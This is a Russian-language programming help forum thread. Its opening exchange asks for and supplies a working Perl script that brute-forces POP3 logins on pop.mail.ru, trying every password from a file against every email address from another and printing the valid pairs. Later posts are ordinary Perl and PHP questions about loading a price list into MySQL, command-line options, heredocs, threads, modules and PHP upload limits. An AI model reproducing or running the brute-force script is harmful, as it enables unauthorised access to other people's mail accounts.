$pop = Net:OP3->new('pop.mail.ru'); $pop = Net:OP3->new('pop.mail.ru', Timeout => 60); зачем 2 раза? в начало добавь use strict; use warnings;
По поводу два раза думаю да Вы правы но если добавляю использование библиотек то сразу же мой скрипт не работает. Ошибка: Code: Global symbol "$Fpass" requires explicit package name at hello.pl line 7. Global symbol "$Femails" requires explicit package name at hello.pl line 8. Global symbol "$finds" requires explicit package name at hello.pl line 10. Global symbol "$emails" requires explicit package name at hello.pl line 16. Global symbol "$Femails" requires explicit package name at hello.pl line 16. Global symbol "$emails" requires explicit package name at hello.pl line 17. Global symbol "$email" requires explicit package name at hello.pl line 20. Global symbol "$passwords" requires explicit package name at hello.pl line 22. Global symbol "$Fpass" requires explicit package name at hello.pl line 22. Global symbol "$passwords" requires explicit package name at hello.pl line 23. Global symbol "$pass" requires explicit package name at hello.pl line 26. Global symbol "$pop" requires explicit package name at hello.pl line 28. Global symbol "$pop" requires explicit package name at hello.pl line 30. Global symbol "$email" requires explicit package name at hello.pl line 30. Global symbol "$pass" requires explicit package name at hello.pl line 30. Global symbol "$email" requires explicit package name at hello.pl line 33. Global symbol "$pass" requires explicit package name at hello.pl line 34. Global symbol "$logs" requires explicit package name at hello.pl line 35. Global symbol "$pass" requires explicit package name at hello.pl line 39. Global symbol "$logs" requires explicit package name at hello.pl line 40. Global symbol "$pop" requires explicit package name at hello.pl line 43. Global symbol "$passwords" requires explicit package name at hello.pl line 44. Global symbol "$emails" requires explicit package name at hello.pl line 46. Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19. Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25. Execution of hello.pl aborted due to compilation errors.
Ребятки может быть Вы делали что-то подобное? Если не трудно скиньте, пожалуйста, скрипт! Буду очень благодарен. С уважением, SeeJay!
Попробуй так: Code: #!usr/bin/perl -w use IO::Socket; $Fpass = 'passwords.txt'; $Femails = 'emails.txt'; open($emails, $Femails); while(<$emails>) { $email = $_; chomp($email); open($passwords, $Fpass); while(<$passwords>) { $pass = $_; chomp($pass); $sock = new IO::Socket::INET ( PeerAddr => 'pop.mail.ru', PeerPort => 110, PeerProto => 'tcp', TimeOut => 60 ) or die "Can't connect\n"; print $sock "USER $email\n\r"; sysread ($sock, $answ, 800); print $sock "PASS $pass\n\r\n\r"; sysread ($sock, $answ, 800); print $sock "\n\r"; sysread ($sock, $answ, 800); close($sock); if($answ =~ /maildrop/) { print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n". "[>]Email:".$email."\n". "[>]Password:".$pass."\n"; } else { print "[>]BAD Password:".$pass; } } close($passwords); } close($emails);
есть .txt файл, в нем сгенерирован прайс лист вот в таком виде Code: 1 -1 -1 -1 Серверы и рабочие станции 0 0 0 1 1 -1 -1 Acer 0 0 0 1 1 1 -1 Рабочии станции 0 0 0 1 1 1 93913 Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian 396 392.0 385.00 1 1 1 88830 Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP 1683 1667.7 1652.40 1 1 1 89246 Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400 2x512Mb DDRII 533 SO-DIMM 250Gb SATA onboard Intel GMA 3000 DVD RW Slot-In corded kb&mouse Gigabit LAN+Wi-Fi Vista HP+Ent 734 727.0 720.36 и есть скрипт на перле который этот прайс заливает в базу на сайте, вот скрипт: Code: #!/usr/bin/perl -w #============================================================================= #============================================================================= #============================================================================= sub loadprice2{ &writebase("delete from pricelist"); open F,"price.sql"; @d=<F>; close F; $d=join "",@d; $d=~s/[\r\n]/<br>/g; $d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g; $d=~s#{{##g; $d=~s#}}##g; $d=~s/<br>/\n/g; &writebase($d); } #============================================================================= #============================================================================= #============================================================================= sub loadprice{ $db="DBI:mysql:wiz:localhost:3306"; $db=DBI->connect($db,"login","pass"); open F,"p.txt"; my @d=<F>; close F; $db->do("TRUNCATE TABLE pricelist"); for my $i (@d){ my @z=split /\t/,$i; $db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2,price3) values ('.(join ',',map {$db->quote($_)} @z).')'); } $db->do("update options set price_update=now()"); $db->disconnect(); print "<script language=javascript>top.location.href='?$rand'</script>"; } #============================================================================= #============================================================================= #============================================================================= 1; мне нужно такой же скрипт на пхп написать, можете помочь, просто в перле ока ничо не понимаю(( или хотя бы обьясните как этот скрипт работает примерно, чтоб мне было от чего оттолкнутся....
my %options = ( fields => 'fields', maps => 'map', logs => 'logs', ); GetOptions( "fields=s" => \$options{fields}, "maps=s" => \$options{maps}, "logs=s" => \$options{logs}, "help" => \$options{help} ); Кто-нибудь можетр астолковать,что случается?)).Сначала создаётся ассоциативный массив %options,а вот что такое GetOptions() не знаю(.Изучаю Перл второй день,так что прошу помощи в разъяснении,что тут происходит)) И ещё вопрос - Есть такой код: if ($options{help}) { my $msg = <<EOF; mapview.pl [OPTIONS] Options: --fields=path Path to the folder containing .fld files. --maps=path Path to the folder containing map images. --logs=path Path to the folder containing log files. EOF $msg =~ s/^\t*//gm; print $msg; exit 1; } Вопросы: 1.Что такое << перед EOF ? Смахивает на какой-то поток как в Си))). 2.Что такое mapview.pl [OPTIONS] ? Смахивает на массив,никогда такого не видел оО(. 3.Почему после EOF( второго по счёту) указывается блок кода,если после EOF всё игнорируется?) ЗЫ: Если мои вопросы будут удалять,задавать я их не буду =_______=,ибо это топик ВОПРОСЫ !)
Code: GetOptions( "fields=s" => \$options{fields}, "maps=s" => \$options{maps}, "logs=s" => \$options{logs}, "help" => \$options{help} ); Getopt::Long 1. Это строчно-ориентированная форма расстановки кавычек. 2. mapview.pl [OPTIONS] - это часть строки скаляра msg 3. кто сказал что игнорируется %) ?
Code: my $msg = <<EOF; mapview.pl [OPTIONS] Options: --fields=path Path to the folder containing .fld files. --maps=path Path to the folder containing map images. --logs=path Path to the folder containing log files. EOF Это один из вариантов объявления строковой переменной $msg, так называемый heredoc. Все, что находится после Code: my $msg = <<EOF; и до строки Code: EOF является многострочной heredoc-строкой. Перл в таком случае не будет считать EOF признаком конца файла, как ты видимо, подумал. Это просто признак конца heredoc-строки. Вместо EOF может стоять любая последовательность символов. Если непонятно объяснил, то вот тебе вариант строки в более привычной форме Code: my $msg = "mapview.pl [OPTIONS]\n" . "\n" . "Options:\n" . "--fields=path Path to the folder containing .fld files.\n" . "--maps=path Path to the folder containing map images.\n" . "--logs=path Path to the folder containing log files.\n"; или Code: my $msg = "mapview.pl [OPTIONS]\n\nOptions:\n--fields=path Path to the folder containing .fld files.\n--maps=path Path to the folder containing map images.\n--logs=path Path to the folder containing log files.\n"; Согласись, что heredoc-вариант более предпочтителен с точки зрения читабельности кода. Если все равно непонятно, учи перл, юзай гугл. ЗЫ. Такой вариант объявления строк есть и в PHP
Попытка создания многопоточного скрипта: Code: #!/usr/bin/perl use threads; for(0..10) { $trl[$_]=threads->create(\&trp,$_);} for(@trl) { $_->join;} sub trp { my $i=1, my $x=5; while($i<=$x) { print $i.":test\n"; $i++; } } По идее должны записи выводится хаотично. Но выводятся они так: Потоки то есть, но почему то последовательно а не параллельно.
Но запускаешь то потоки ты не одновременно, на самом деле они параллельно выполняются, через какое то время появляется рассинхронизация. Например у меня:
.Slip http://nopox.wordpress.com/tag/%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE%D0%BF%D0%BE%D1%82%D0%BE%D1%87%D0%BD%D0%BE%D1%81%D1%82%D1%8C/
И каким образом мне достичь рассинхронизации у себя? Что бы наглядно было add: /me достиг Не подумал сразу что у меня проц. amd x2 2.22 =\ add: >> Но запускаешь то потоки ты не одновременно Вот на примере сурса, каким образом запустить одновременно?
Не могу понять почем не работает следующее: Code: #!/bin/perl -w # имя файла some.pl require libp; print "Введи чило для вычисления факториала: "; chomp($inside=<STDIN>); $result=libp::faktorial($inside); print "Факториал числа $inside равен ",$result,"\n"; Code: #!/bin/perl # имя файла libp.pm package libp; sub faktorial { $faktorial=1; $number=shift; if ($number<=1) { return 1;} else { foreach (1..$number) { $faktorial=$faktorial*$_; } } return $faktorial; Code: laptop:~$ perl some.pl libp.pm did not return a true value at some.pl line 3.
#!/bin/perl # имя файла libp.pm package libp; sub faktorial { $faktorial=1; $number=shift; if ($number<=1) { return 1;} else { foreach (1..$number) { $faktorial=$faktorial*$_; } } return $faktorial; } 1 # не хватает в конце
интересует вопрос: возможли ли вообще через РНР загрузить большой файл. потому как маленькие файлы загружает а большые ни в какую. значение переменных поправи в php.ini - не помогло (. и еще я питаюсь загрузить файл пдф
я понимаю что здесь против перла не попреш - но нужно зделать на пхп. Есть там какие-то бока с загрузкой файлов пдв, ехе, джвю ?
нашел директиву в настройках php.ini .может ли она влиять? Code: max_execution_time = 30 ; Maximum execution time of each script, in seconds З.Ы. загрузка фыайла на сервер осуществляется. создается копия в темп директории и постоянно наращивается размер, а потом обрывается в место того что бы скопироватся по назначению. с файлами малеького размера все нормально (. файлы размером 1,5 мб тоже не загружает (